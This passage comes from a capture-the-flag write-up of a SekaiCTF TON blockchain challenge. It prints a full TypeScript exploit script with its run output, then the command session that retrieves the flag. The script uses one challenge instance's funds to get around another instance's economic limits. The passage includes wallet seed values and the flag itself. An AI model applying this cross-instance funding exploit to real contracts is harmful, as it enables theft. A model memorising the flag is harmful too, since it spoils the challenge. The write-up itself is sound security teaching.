Next, the farm instance sells its bonus jettons back to its challenge contract, receiving approximately 100 TON in return. Those funds are transferred directly to the wallet of the target instance, effectively bypassing the intended economic restriction imposed by the challenge.
With sufficient TON now available, the target wallet purchases an additional 50 jettons, reaching the required balance of 100 jettons. Finally, these jettons are transferred to the target challenge contract using the Solve forward payload, causing the contract to mark the challenge as solved.
The complete exploit script is shown below:
import { Address, beginCell, internal, SendMode, toNano } from "@ton/core";
import { keyPairFromSeed } from "@ton/crypto";
import { TonClient, WalletContractV3R2 } from "@ton/ton";
const API_V2 = "https://open-world-api-7a1d2f8075a8.instancer.sekai.team/instance/954d9377-a4c2-4b30-88ab-15f2df664583/api/v2";
// target instance
const TARGET_CHALLENGE = "EQDpixmTybaOIGzGP_vnXbToUNFVpZUQ5JrAETzFn5S3Zdom";
const TARGET_SEED_HEX = "e867afc5e2d747ed6e70854909cd6f1dd5a7bc8c2d8b8604ce9c689865fa85a8";
const TARGET_WALLET_ID = 281273234;
// farm instance
const FARM_CHALLENGE = "EQBmGoPldlLiObPShD2ljYVJ2v_yBJ0-a8FNExj9UURs8Qvx";
const FARM_SEED_HEX = "018bc31e3269683a833d86935644b7de9eb3015e5f9533e32e468ecb169c3ce0";
const FARM_WALLET_ID = 965981423;
const WORKCHAIN = -1;
const OP_PLAYER_BONUS = 0x13370002;
const OP_BUY = 0x13370003;
const OP_ASK_TO_TRANSFER = 0x0f8a7ea5;
const OP_SELL = 0x13370004;
const OP_SOLVE = 0x13370005;
function sleep(ms: number) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function makeWallet(seedHex: string, walletId: number) {
const seed = Buffer.from(seedHex, "hex");
const keyPair = keyPairFromSeed(seed);
const wallet = WalletContractV3R2.create({
workchain: WORKCHAIN,
publicKey: keyPair.publicKey,
walletId,
});
return { wallet, keyPair };
}
async function sendInternal(
client: TonClient,
wallet: ReturnType<typeof WalletContractV3R2.create>,
secretKey: Buffer,
to: Address,
value: bigint,
body: any,
) {
const opened = client.open(wallet);
const seqno = await opened.getSeqno();
console.log("[+] Sending", value.toString(), "to", to.toString());
const transfer = wallet.createTransfer({
seqno,
secretKey,
sendMode: SendMode.PAY_GAS_SEPARATELY,
messages: [
internal({
to,
value,
bounce: false,
body,
}),
],
});
await client.sendExternalMessage(wallet, transfer);
const start = Date.now();
while ((await opened.getSeqno()) === seqno) {
if (Date.now() - start > 45000) {
throw new Error("Timed out waiting for seqno increase");
}
await sleep(1500);
}
}
async function getMinter(client: TonClient, challenge: Address): Promise<Address> {
const res = await client.runMethod(challenge, "minter");
return res.stack.readAddress();
}
async function getJettonWallet(client: TonClient, minter: Address, owner: Address): Promise<Address> {
const res = await client.runMethod(minter, "get_wallet_address", [
{
type: "slice",
cell: beginCell().storeAddress(owner).endCell(),
},
]);
return res.stack.readAddress();
}
async function getJettonBalance(client: TonClient, jettonWallet: Address): Promise<bigint> {
const res = await client.runMethod(jettonWallet, "get_wallet_data");
return res.stack.readBigNumber();
}
async function waitForJettons(client: TonClient, jettonWallet: Address, target: bigint) {
for (let i = 0; i < 80; i++) {
const bal = await getJettonBalance(client, jettonWallet).catch(() => 0n);
console.log("[+] Jetton balance:", bal.toString());
if (bal >= target) return;
await sleep(3000);
}
throw new Error(`Timed out waiting for ${target} jettons`);
}
async function waitForTonAbove(client: TonClient, addr: Address, target: bigint) {
for (let i = 0; i < 80; i++) {
const bal = await client.getBalance(addr);
console.log("[+] TON balance:", bal.toString());
if (bal >= target) return;
await sleep(3000);
}
throw new Error("Timed out waiting for TON balance");
}
async function claimBonus(
client: TonClient,
challenge: Address,
wallet: ReturnType<typeof WalletContractV3R2.create>,
secretKey: Buffer,
) {
const body = beginCell().storeUint(OP_PLAYER_BONUS, 32).endCell();
await sendInternal(client, wallet, secretKey, challenge, toNano("0.25"), body);
}
async function main() {
const endpoint = API_V2.endsWith("/jsonRPC") ? API_V2 : `${API_V2}/jsonRPC`;
const client = new TonClient({ endpoint });
const targetChallenge = Address.parse(TARGET_CHALLENGE);
const farmChallenge = Address.parse(FARM_CHALLENGE);
const target = makeWallet(TARGET_SEED_HEX, TARGET_WALLET_ID);
const farm = makeWallet(FARM_SEED_HEX, FARM_WALLET_ID);
console.log("[+] Target wallet:", target.wallet.address.toString());
console.log("[+] Farm wallet:", farm.wallet.address.toString());
const targetMinter = await getMinter(client, targetChallenge);
const farmMinter = await getMinter(client, farmChallenge);
const targetJettonWallet = await getJettonWallet(client, targetMinter, target.wallet.address);
const farmJettonWallet = await getJettonWallet(client, farmMinter, farm.wallet.address);
console.log("[+] Target jetton wallet:", targetJettonWallet.toString());
console.log("[+] Farm jetton wallet:", farmJettonWallet.toString());
console.log("[+] Claiming target bonus...");
await claimBonus(client, targetChallenge, target.wallet, target.keyPair.secretKey);
await waitForJettons(client, targetJettonWallet, 50n);
console.log("[+] Claiming farm bonus...");
await claimBonus(client, farmChallenge, farm.wallet, farm.keyPair.secretKey);
await waitForJettons(client, farmJettonWallet, 50n);
const sellBody = beginCell()
.storeUint(OP_ASK_TO_TRANSFER, 32)
.storeUint(0, 64)
.storeCoins(50n)
.storeAddress(farmChallenge)
.storeAddress(farm.wallet.address)
.storeMaybeRef(null)
.storeCoins(toNano("0.05"))
.storeUint(OP_SELL, 32)
.endCell();
console.log("[+] Selling farm 50 jettons...");
await sendInternal(client, farm.wallet, farm.keyPair.secretKey, farmJettonWallet, toNano("0.25"), sellBody);
await waitForTonAbove(client, farm.wallet.address, toNano("100"));
console.log("[+] Sending farmed TON to target wallet...");
await sendInternal(
client,
farm.wallet,
farm.keyPair.secretKey,
target.wallet.address,
toNano("100"),
beginCell().endCell(),
);
await waitForTonAbove(client, target.wallet.address, toNano("100"));
const buyBody = beginCell()
.storeUint(OP_BUY, 32)
.storeCoins(50n)
.endCell();
console.log("[+] Target buying 50 more jettons...");
await sendInternal(client, target.wallet, target.keyPair.secretKey, targetChallenge, toNano("100.25"), buyBody);
await waitForJettons(client, targetJettonWallet, 100n);
const solveBody = beginCell()
.storeUint(OP_ASK_TO_TRANSFER, 32)
.storeUint(0, 64)
.storeCoins(100n)
.storeAddress(targetChallenge)
.storeAddress(target.wallet.address)
.storeMaybeRef(null)
.storeCoins(toNano("0.05"))
.storeUint(OP_SOLVE, 32)
.endCell();
console.log("[+] Sending Solve transfer...");
await sendInternal(client, target.wallet, target.keyPair.secretKey, targetJettonWallet, toNano("0.25"), solveBody);
await sleep(12000);
const solvedRes = await client.runMethod(targetChallenge, "isSolved");
console.log("[+] Solved:", solvedRes.stack.readBoolean());
}
main().catch((err) => {
console.error("[-]", err);
process.exit(1);
});
Executing the script produces the following output:
$ npx ts-node solve.ts
[+] Target wallet: Ef_qzvpa4jGkENvfHsqdSWSb7PooWZVjBYRWt-bLA2NfnamV
[+] Farm wallet: Ef-0exvH6EQ4imDVu2vMlyR0Ugmw7zDmnyZL7eIGqhS2DROT
[+] Target jetton wallet: EQA2oxdGWxNs3AYzQehLgdVLXhaZVd2HR39eEYw9AwlPz5BC
[+] Farm jetton wallet: EQAOzfd1xTTCz5Y3ZX00m6UaTz8aDq0ch0y_mhXQ54fnJn1f
[+] Claiming target bonus...
[+] Sending 250000000 to EQDpixmTybaOIGzGP_vnXbToUNFVpZUQ5JrAETzFn5S3Zdom
[+] Jetton balance: 50
[+] Claiming farm bonus...
[+] Sending 250000000 to EQBmGoPldlLiObPShD2ljYVJ2v_yBJ0-a8FNExj9UURs8Qvx
[+] Jetton balance: 50
[+] Selling farm 50 jettons...
[+] Sending 250000000 to EQAOzfd1xTTCz5Y3ZX00m6UaTz8aDq0ch0y_mhXQ54fnJn1f
[+] TON balance: 100523654937
[+] Sending farmed TON to target wallet...
[+] Sending 100000000000 to Ef_qzvpa4jGkENvfHsqdSWSb7PooWZVjBYRWt-bLA2NfnamV
[+] TON balance: 100674573857
[+] Target buying 50 more jettons...
[+] Sending 100250000000 to EQDpixmTybaOIGzGP_vnXbToUNFVpZUQ5JrAETzFn5S3Zdom
[+] Jetton balance: 100
[+] Sending Solve transfer...
[+] Sending 250000000 to EQA2oxdGWxNs3AYzQehLgdVLXhaZVd2HR39eEYw9AwlPz5BC
[+] Solved: true
Once the contract reports that isSolved() is equal to true, the challenge platform allows us to retrieve the flag by submitting the UUID of the target instance:
$ ncat --ssl open-world-7a1d2f8075a8.instancer.sekai.team 1337
1. new - launch new instance
2. flag - get the flag (if isSolved() is true)
3. kill - kill an instance
action? 2
uuid? 954d9377-a4c2-4b30-88ab-15f2df664583
SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}
The challenge demonstrates that the intended economic limitations only hold if each instance is treated in isolation. By recognizing that multiple challenge instances coexist on the same local TON network and can freely exchange assets, it becomes possible to transform one instance into a funding source for another. Although each individual instance enforces its own constraints correctly, the challenge overlooks the interactions that become possible across instances, ultimately allowing the player to satisfy the solve condition.
Conclusion
This challenge was particularly enjoyable because it introduced me to an entirely new blockchain ecosystem. Prior to SekaiCTF, I had never worked with TON and was unfamiliar with concepts such as wallet contracts, jettons and the messaging-based interaction model. Although the learning curve was steeper than for the previous blockchain challenges, studying the official documentation and experimenting with the provided contracts made the architecture much easier to understand.
From a technical perspective, the vulnerability was not a flaw in the implementation of the smart contracts themselves but rather an unintended assumption about the deployment environment. Each challenge instance correctly enforced its own economic constraints, yet multiple instances shared the same local TON network and could freely exchange assets. By exploiting this lack of isolation, one instance could effectively subsidize another, allowing the intended resource limitations to be bypassed.
Overall, this was an excellent introduction to the TON ecosystem. Beyond solving the challenge itself, it provided valuable insight into TON’s programming model, message-based architecture and jetton standard. It also demonstrated that understanding the surrounding infrastructure can be just as important as analyzing the smart contracts themselves, as vulnerabilities may arise not only from contract logic but also from assumptions about how different components interact.